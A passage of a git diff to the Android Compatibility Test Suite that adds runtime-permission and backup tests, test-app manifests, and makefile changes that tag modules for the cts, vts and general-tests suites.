+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.usepermission;
+
+import static junit.framework.Assert.assertEquals;
+
+import android.Manifest;
+import android.content.pm.PackageManager;
+
+import org.junit.Test;
+
+/**
+ * Runtime permission behavior tests for apps targeting API 26
+ */
+public class UsePermissionTest26 extends BasePermissionsTest {
+ private static final int REQUEST_CODE_PERMISSIONS = 42;
+
+ @Test
+ public void testRuntimeGroupGrantNoExpansion() throws Exception {
+ // Start out without permission
+ assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getContext()
+ .checkSelfPermission(Manifest.permission.RECEIVE_SMS));
+ assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getContext()
+ .checkSelfPermission(Manifest.permission.SEND_SMS));
+
+ String[] permissions = new String[]{Manifest.permission.RECEIVE_SMS};
+
+ // request only one permission from the 'SMS' permission group at runtime,
+ // but two from this group are <uses-permission> in the manifest
+ // request only one permission from the 'contacts' permission group
+ BasePermissionActivity.Result result = requestPermissions(permissions,
+ REQUEST_CODE_PERMISSIONS,
+ BasePermissionActivity.class,
+ () -> {
+ try {
+ clickAllowButton();
+ getUiDevice().waitForIdle();
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ });
+
+ // Expect the permission is granted
+ assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
+ permissions, new boolean[]{true});
+
+ assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getTargetContext()
+ .checkSelfPermission(Manifest.permission.SEND_SMS));
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/Android.mk
new file mode 100644
index 0000000..62a15e4
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/Android.mk
@@ -0,0 +1,44 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ compatibility-device-util \
+ ctstestrunner \
+ ub-uiautomator
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../UsePermissionApp26/src) \
+ ../UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionActivity.java \
+ ../UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+LOCAL_RESOURCE_DIR := cts/hostsidetests/appsecurity/test-apps/UsePermissionApp23/res
+LOCAL_SDK_VERSION := test_current
+
+LOCAL_PACKAGE_NAME := CtsUsePermissionAppLatest
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
+
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/AndroidManifest.xml
new file mode 100644
index 0000000..cac6790
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.usepermission">
+
+ <!-- Request two different permissions within the same group -->
+ <uses-permission android:name="android.permission.SEND_SMS" />
+ <uses-permission android:name="android.permission.RECEIVE_SMS" />
+
+ <application>
+ <activity android:name="com.android.cts.usepermission.BasePermissionActivity" />
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.usepermission" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
index bda6782..498e8ca 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
@@ -22,12 +22,12 @@
../PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/GrantUriPermission.java
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_PACKAGE_NAME := CtsUsePermissionDiffCert
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# sign this app with a different cert than CtsPermissionDeclareApp
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
index 581af78..2d67d62 100644
--- a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
@@ -28,7 +28,7 @@
LOCAL_PACKAGE_NAME := CtsUsesLibraryApp
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
index e73f47c..b9dc639 100644
--- a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
@@ -77,11 +77,19 @@
Object[] dexElements = getDexElementsFromClassLoader((BaseDexClassLoader) loader);
assertTrue(dexElements != null && dexElements.length > 1);
+ // First dex file is either the shared library or the cts instrumentation library.
DexFile libDexFile = getDexFileFromDexElement(dexElements[0]);
String libPath = libDexFile.getName();
- DexFile apkDexFile = getDexFileFromDexElement(dexElements[1]);
+ // The last dex file should be the test apk file: com.android.cts.useslibrary.
+ DexFile apkDexFile = getDexFileFromDexElement(dexElements[dexElements.length - 1]);
String apkPath = apkDexFile.getName();
+
+ // In order to ensure the collision check is executed we use the apkDexFile when
+ // constructing the test class path for duplicates.
+ // We do not use the shared libraries apks because they are compiled with a special
+ // marker which may skip the collision check (b/37777332).
String testPath = libPath + File.pathSeparator + apkPath + File.pathSeparator + apkPath;
+
PathClassLoader testLoader = new PathClassLoader(testPath, null);
Object[] testDexElements = getDexElementsFromClassLoader(testLoader);
assertTrue(testDexElements != null && testDexElements.length == 3);
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
index 61d2493..8574d63 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
@@ -18,16 +18,16 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util
-#ctsdeviceutil
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ compatibility-device-util \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src) \
../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
-LOCAL_JAVA_RESOURCE_DIRS := $(LOCAL_PATH)/res
-
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsWriteExternalStorageApp
diff --git a/hostsidetests/appsecurity/test-apps/keysets/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/Android.mk
index 7f116be..397b49a 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# Build the test APKs using their own makefiles
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk
index 30384d0..46a6b37 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk
@@ -18,7 +18,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk
index da45804..9018fdb 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk
@@ -18,7 +18,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk
index eea2e11..98a31b9 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk
@@ -18,7 +18,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk
index cefe00f..5cf21b4 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk
@@ -24,7 +24,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
@@ -38,6 +38,6 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk
index f031e4b..10c4101 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk
@@ -25,7 +25,7 @@
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
@@ -40,6 +40,6 @@
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
index d1eeffa..907ae36 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
@@ -17,12 +17,12 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE_TAGS := tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_PACKAGE_NAME := CtsKeySetTestApp
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk
index 22c45a7..d47f6bc 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk
@@ -23,7 +23,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
@@ -36,7 +36,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
@@ -49,7 +49,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-ec-a
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
@@ -63,6 +63,6 @@
LOCAL_ADDITIONAL_CERTIFICATES := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk
index 340e8c7..87655dd 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk
@@ -18,7 +18,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk
index 6389bf6..764886a 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk
@@ -18,7 +18,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk
index 1e888ae..d0960c4 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uB/Android.mk
@@ -25,7 +25,7 @@
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
@@ -40,7 +40,7 @@
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
@@ -56,6 +56,6 @@
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk
index 87a7ff8..c6cec13 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.mk
@@ -25,7 +25,7 @@
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
@@ -40,6 +40,6 @@
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk
index 42f700e..e7de019 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.mk
@@ -18,7 +18,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk
index 69d27ed..d54a59b 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.mk
@@ -18,7 +18,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk b/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
index 15981f6..4822a11 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE_TAGS := tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/atrace/Android.mk b/hostsidetests/atrace/Android.mk
index c4a0913..eb6d14d 100644
--- a/hostsidetests/atrace/Android.mk
+++ b/hostsidetests/atrace/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CTS_TEST_PACKAGE := android.host.atrace
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/atrace/AtraceTestApp/Android.mk b/hostsidetests/atrace/AtraceTestApp/Android.mk
index 9218e56..4b550db 100644
--- a/hostsidetests/atrace/AtraceTestApp/Android.mk
+++ b/hostsidetests/atrace/AtraceTestApp/Android.mk
@@ -31,6 +31,6 @@
#LOCAL_DEX_PREOPT := false
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/backup/AllowBackup/Android.mk b/hostsidetests/backup/AllowBackup/Android.mk
new file mode 100644
index 0000000..b798d87
--- /dev/null
+++ b/hostsidetests/backup/AllowBackup/Android.mk
@@ -0,0 +1,15 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+include $(call all-subdir-makefiles)
diff --git a/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.mk b/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.mk
new file mode 100644
index 0000000..aa9a22c
--- /dev/null
+++ b/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := BackupAllowedApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml b/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml
new file mode 100644
index 0000000..d4de01d
--- /dev/null
+++ b/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.backupnotallowedapp">
+
+ <application android:label="BackupAllowedApp">
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.backupnotallowedapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.mk b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.mk
new file mode 100644
index 0000000..c218a28
--- /dev/null
+++ b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := BackupNotAllowedApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml
new file mode 100644
index 0000000..5fc71a1
--- /dev/null
+++ b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.backupnotallowedapp">
+
+ <application android:label="BackupNotAllowedApp"
+ android:allowBackup="false">
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.backupnotallowedapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java b/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java
new file mode 100644
index 0000000..643b594
--- /dev/null
+++ b/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.backupnotallowedapp;
+
+import static android.support.test.InstrumentationRegistry.getTargetContext;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.Random;
+
+/**
+ * Device side routines to be invoked by the host side AllowBackupHostSideTest. These are not
